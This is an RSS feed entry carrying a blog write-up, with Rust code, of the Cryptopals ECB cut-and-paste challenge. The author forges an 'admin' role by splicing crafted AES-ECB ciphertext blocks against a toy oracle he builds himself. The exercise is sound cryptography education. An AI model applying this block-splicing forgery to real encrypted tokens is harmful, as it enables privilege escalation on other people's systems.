<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: daniel orihuela</title>
    <description>The latest articles on DEV Community by daniel orihuela (@daniel_orihuela_96731fc2e).</description>
    <link>https://dev.to/daniel_orihuela_96731fc2e</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3443255%2F68bff9b1-94b4-4bfe-bc8c-1cfd1acd8e3a.png</url>
      <title>DEV Community: daniel orihuela</title>
      <link>https://dev.to/daniel_orihuela_96731fc2e</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/daniel_orihuela_96731fc2e"/>
    <language>en</language>
    <item>
      <title>Cryptopals: ECB cut and paste</title>
      <dc:creator>daniel orihuela</dc:creator>
      <pubDate>Fri, 23 Oct 2026 17:44:37 +0000</pubDate>
      <link>https://dev.to/daniel_orihuela_96731fc2e/cryptopals-ecb-cut-and-paste-5ak0</link>
      <guid>https://dev.to/daniel_orihuela_96731fc2e/cryptopals-ecb-cut-and-paste-5ak0</guid>
      <description>&lt;h1&gt;
  
  
  Table of Contents
&lt;/h1&gt;

&lt;ol&gt;
&lt;li&gt; Setup
&lt;/li&gt;
&lt;li&gt; ECB cut and paste

&lt;ol&gt;
&lt;li&gt; Detect cipher mode and metadata
&lt;/li&gt;
&lt;li&gt; Isolate role value
&lt;/li&gt;
&lt;li&gt; Craft ciphertext block
&lt;/li&gt;
&lt;li&gt; Replace ciphertext block
&lt;/li&gt;
&lt;li&gt; Code
&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt; Conclusion
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;In ECB, each block is independently encrypted. That means that we are free to replace whole blocks without consequences. Today, we will see how to take advantage of that feature. This post is related to &lt;a href="https://cryptopals.com/sets/2/challenges/13" rel="noopener noreferrer"&gt;https://cryptopals.com/sets/2/challenges/13&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a id="org11066d9"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  Setup
&lt;/h1&gt;

&lt;p&gt;For this exercise, we need a couple of functions to encode and decode a user profile consisting of an email, uid and a role.&lt;/p&gt;

&lt;p&gt;The encoder recieves an email (e.g. &lt;code&gt;example@mail.com&lt;/code&gt;) and returns an encoded user profile (e.g. &lt;code&gt;email=example@mail.com&amp;amp;uid=10&amp;amp;role=user&lt;/code&gt;). The decoder can convert that into a map representation. It's important to make sure the encoder does not allow &lt;code&gt;&amp;amp;&lt;/code&gt; and &lt;code&gt;=&lt;/code&gt; characters in the email.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;    &lt;span class="k"&gt;pub&lt;/span&gt; &lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;profile_for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;email&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;String&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;email&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;email&lt;/span&gt;
            &lt;span class="nf"&gt;.chars&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
            &lt;span class="nf"&gt;.filter&lt;/span&gt;&lt;span class="p"&gt;(|&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="sc"&gt;'&amp;amp;'&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="sc"&gt;'='&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="py"&gt;.collect&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nb"&gt;String&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
        &lt;span class="nd"&gt;format!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"email={email}&amp;amp;uid=10&amp;amp;role=user"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;pub&lt;/span&gt; &lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;parse_query_string&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;query_string&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;HashMap&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nb"&gt;String&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;String&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;key_value_pairs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;query_string&lt;/span&gt;&lt;span class="nf"&gt;.split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sc"&gt;'&amp;amp;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="n"&gt;key_value_pairs&lt;/span&gt;
          &lt;span class="nf"&gt;.map&lt;/span&gt;&lt;span class="p"&gt;(|&lt;/span&gt;&lt;span class="n"&gt;key_value&lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="n"&gt;key_value&lt;/span&gt;&lt;span class="nf"&gt;.split_once&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sc"&gt;'='&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nf"&gt;.expect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Correct query string"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
          &lt;span class="nf"&gt;.map&lt;/span&gt;&lt;span class="p"&gt;(|(&lt;/span&gt;&lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;)|&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="nf"&gt;.to_string&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="nf"&gt;.to_string&lt;/span&gt;&lt;span class="p"&gt;()))&lt;/span&gt;
          &lt;span class="nf"&gt;.collect&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We also need a couple of functions to encrypt and decrypt that data.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;    &lt;span class="k"&gt;pub&lt;/span&gt; &lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;encrypt_profile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;email&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;u8&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="k"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;Vec&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nb"&gt;u8&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nf"&gt;encrypt_aes_128_ecb&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;profile_for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;email&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nf"&gt;.as_bytes&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;pub&lt;/span&gt; &lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;decrypt_profile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ciphertext&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;u8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;u8&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="k"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;HashMap&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nb"&gt;String&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;String&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;plain&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;decrypt_aes_128_ecb&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ciphertext&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nf"&gt;.expect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Valid profile"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="nf"&gt;parse_query_string&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;plain&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Last but not least, we need an oracle that always uses the same key to encrypt the profiles. That's the function that we will exploit.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;random_bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;encrypt_fn&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;u8&lt;/span&gt;&lt;span class="p"&gt;]|&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nf"&gt;encrypt_profile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="nf"&gt;.iter&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="nf"&gt;.map&lt;/span&gt;&lt;span class="p"&gt;(|&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="nb"&gt;char&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="py"&gt;.collect&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nb"&gt;String&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a id="org995db6c"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  ECB cut and paste
&lt;/h1&gt;

&lt;p&gt;The goal of the exercise is to replace the value of the role from &lt;code&gt;user&lt;/code&gt; to &lt;code&gt;admin&lt;/code&gt;. We want to go from something like &lt;code&gt;email=example@mail.com&amp;amp;uid=10&amp;amp;role=user&lt;/code&gt; to &lt;code&gt;email=example@mail.com&amp;amp;uid=10&amp;amp;role=admin&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;If you don't know how ECB works, this is a good moment to check it in &lt;a href="https://danielorihuela.dev/blog/break-ecb/#ecb-block-cipher-mode" rel="noopener noreferrer"&gt;https://danielorihuela.dev/blog/break-ecb/#ecb-block-cipher-mode&lt;/a&gt;. Simply put, in ECB all blocks are encrypted using the same key. Therefore, identical plain blocks return the same encrypted blocks. We can take advantage of that.&lt;/p&gt;

&lt;p&gt;&lt;a id="orge5008ba"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Detect cipher mode and metadata
&lt;/h2&gt;

&lt;p&gt;First things first, we need to &lt;a href="https://danielorihuela.dev/blog/break-ecb/#find-the-block-size" rel="noopener noreferrer"&gt;get the block size and the padding&lt;/a&gt;. Besides, we need to double &lt;a href="https://danielorihuela.dev/blog/break-ecb/#check-if-oracle-is-using-ecb-mode" rel="noopener noreferrer"&gt;check the oracle is using ecb&lt;/a&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;block_size&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;original_padding_length&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;compute_block_size_and_padding_length&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;encrypt_fn&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nf"&gt;is_ecb&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;encrypt_fn&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;block_size&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nd"&gt;panic!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Data not encrypted with ECB"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a id="orgbe8c076"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Isolate role value
&lt;/h2&gt;

&lt;p&gt;The plaintext blocks for no email as input are:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;    |                     block 1                     |                      block 2                    |
    | 00 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 | 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 |
    | e  m  a  i  l  =  &amp;amp;  u  i  d  =  1  0  &amp;amp;  r  o  | l  e  =  u  s  e  r  9  9  9  9  9  9  9  9  9  |
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The nines that appear are because of the PKCS#7 padding.&lt;/p&gt;

&lt;p&gt;The encoder function doesn't allow &lt;code&gt;=&lt;/code&gt; nor &lt;code&gt;&amp;amp;&lt;/code&gt; in the input. Otherwise, it would suffice to find the encrypted representation of the block below, and copy that into the second block of the original ciphertext.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;    |                 crafted block                   |
    | l  e  =  a  d  m  i  n  8  8  8  8  8  8  8  8  |
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In that situation, we need to isolate the role value into its own block. We can do that manipulating the email value.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;    |                     block 1                     |                      block 2                    |                 block 3                 |
    | 00 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 | 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 | 32 33 34 35 36 37 38 39 40 41 42 43 ... |
    | e  m  a  i  l  =  a  a  a  a  a  a  a  a  a  a  | a  a  a  &amp;amp;  u  i  d  =  1  0  &amp;amp;  r  o  l  e  =  | a  d  m  i  n  11 11 11 11 11 11 11 ... |
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The length of the email is equal to the padding (when the input is empty) plus the length of the default role value (user). If we only used the length of the padding, the role value &lt;code&gt;user&lt;/code&gt; would end up at the end of the second block. We want to push it further to the third block, so we need to add its length to the email.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;admin_block_padding&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nd"&gt;vec!&lt;/span&gt;&lt;span class="p"&gt;[(&lt;/span&gt;&lt;span class="n"&gt;block_size&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="nb"&gt;u8&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;block_size&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;admin_block&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;"admin"&lt;/span&gt;&lt;span class="nf"&gt;.as_bytes&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;admin_block_padding&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="nf"&gt;.concat&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a id="orgd60c94f"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Craft ciphertext block
&lt;/h2&gt;

&lt;p&gt;We know the final result, but we still need to know it's encrypted representation. For that, we will feed the oracle with an increasing number of random bytes followed by our target plain block twice. The idea is to encrypt these inputs until we find an occurrence where our first target plain block occupies one whole block, instead of partially filling two blocks. At that moment, we will obtain a ciphertext containing two consecutive encrypted blocks with the same values. These are our target plain blocks encrypted.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="k"&gt;mut&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;loop&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;crafted_input&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nd"&gt;vec!&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;admin_block&lt;/span&gt;&lt;span class="nf"&gt;.clone&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;admin_block&lt;/span&gt;&lt;span class="nf"&gt;.clone&lt;/span&gt;&lt;span class="p"&gt;()]&lt;/span&gt;&lt;span class="nf"&gt;.concat&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
        &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;ciphertext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;encrypt_fn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;crafted_input&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;ciphertext_blocks&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ciphertext&lt;/span&gt;&lt;span class="nf"&gt;.chunks&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;block_size&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="py"&gt;.collect&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nb"&gt;Vec&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;amp;&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;u8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;j&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;..&lt;/span&gt;&lt;span class="n"&gt;ciphertext_blocks&lt;/span&gt;&lt;span class="nf"&gt;.len&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;ciphertext_blocks&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;ciphertext_blocks&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;ciphertext_blocks&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="nf"&gt;.to_vec&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;

        &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a id="org0da507d"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Replace ciphertext block
&lt;/h2&gt;

&lt;p&gt;Finally, we can call the oracle with our crafted input and replace the last block with our crafted encrypted block.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;crafted_input&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nd"&gt;vec!&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;original_padding_length&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s"&gt;"user"&lt;/span&gt;&lt;span class="nf"&gt;.len&lt;/span&gt;&lt;span class="p"&gt;()];&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;ciphertext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;encrypt_fn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;crafted_input&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;ciphertext_without_last_block&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ciphertext&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;..&lt;/span&gt;&lt;span class="n"&gt;ciphertext&lt;/span&gt;&lt;span class="nf"&gt;.len&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;block_size&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="nf"&gt;.to_vec&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;ciphertext_without_last_block&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;crafted_ciphertext_block&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="nf"&gt;.concat&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

